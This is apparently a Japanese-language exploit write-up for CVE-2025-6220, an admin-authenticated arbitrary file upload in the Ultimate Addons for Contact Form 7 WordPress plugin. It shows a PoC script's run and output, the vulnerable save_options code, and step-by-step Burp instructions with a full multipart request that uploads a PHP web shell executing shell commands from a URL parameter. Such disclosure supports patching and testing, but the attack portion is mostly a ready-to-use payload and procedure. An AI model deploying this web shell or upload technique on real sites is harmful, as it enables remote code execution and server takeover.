Contact Form 7 用 Ultimate Addons <= 3.5.12 - 認証済み（管理者以上）による 'save_options' 経由の任意ファイルアップロード

Ultimate Addons for Contact Form 7 プラグインは、オプション保存機能においてファイルタイプをサニタイズしないため、管理者以上のユーザーが任意のファイルをアップロードし、サーバー上でコード実行を達成する可能性があります。

TL;DR エクスプロイト

POC CVE-2025-6220.py が提供されており、管理者が shell.php という名前のウェブシェルをアップロードする様子を示しています。

python3 CVE-2025-6220.py https://lab1.hacker admin PASSWORD

Logging into: https://lab1.hacker/wp-admin
Extracting nonce values...
70e7b99966
Uploading web shell: shell.php
{"status":"success","message":"Options saved successfully!"}
Web Shell Location: https://lab1.hacker/wp-content/uploads/itinerary-fonts/shell.php

Executing test command: ip addr
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
       valid_lft 61299sec preferred_lft 61299sec
    inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute 
       valid_lft 86240sec preferred_lft 14240sec
    inet6 fe80::a00:27ff:fe5b:342f/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
    altname enp0s8
    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe39:eaeb/64 scope link 
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:bd:e1:95:26 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
</pre>

詳細

/wp-content/plugins/ultimate-addons-for-contact-form-7/admin/tf-options/classes/UACF7_Settings.php 内の uacf7_options_save 機能は、適切なファイルタイプの検証を実施せずにファイルアップロードを処理します。

save_options() 関数の 894-920行目は、HTTPリクエスト内の $_FILES をチェックし、MIMEタイプを汎用的な application/octet-stream に対してのみ検証します。その後、ファイルを Web アクセス可能なディレクトリ /wp-content/uploads/itinerary-fonts に保存します。

$tf_fonts_extantions = array( 'application/octet-stream' );
for ( $i = 0; $i < count( $_FILES['file']['name'] ); $i++ ) {
    if ( in_array( $_FILES['file']['type'][ $i ], $tf_fonts_extantions ) ) {
        $tf_font_filename = $_FILES['file']['name'][ $i ];
        move_uploaded_file( $_FILES['file']['tmp_name'][ $i ], $tf_itinerary_fonts . '/' . $tf_font_filename );
    }
}

手動再現手順

管理者パネルにログインし、Ultimate Addons -> Settings に移動します。
Burp Suite または同様のツールを起動し、トラフィックのインターセプトを開始します。
右下隅にある Save ボタンをクリックします。
Burp で POST リクエストをインターセプトし、独自のファイルデータを追加します（正しいフォーム境界を使用してください）。

------WebKitFormBoundarydAJeoqdwR5qxfDb1
Content-Disposition: form-data; name="file[]"; filename="shell.php"
Content-Type: application/octet-stream

<?php
// Silence is golden
if (!empty($_GET['cmd'])) {
    echo "<pre>".shell_exec($_GET["cmd"])."</pre>";
}
------WebKitFormBoundarydAJeoqdwR5qxfDb1--

test2 5. リクエストを転送し、応答が成功を示していることを確認します：

{"status":"success","message":"Options saved successfully!"}

https://lab1.hacker/wp-content/uploads/itinerary-fonts/shell.php に移動して、概念実証を実行します。

CVE-2025-6220

人気

Contact Form 7 用 Ultimate Addons <= 3.5.12 - 認証済み（管理者以上）による 'save_options' 経由の任意ファイルアップロード

TL;DR エクスプロイト

詳細

手動再現手順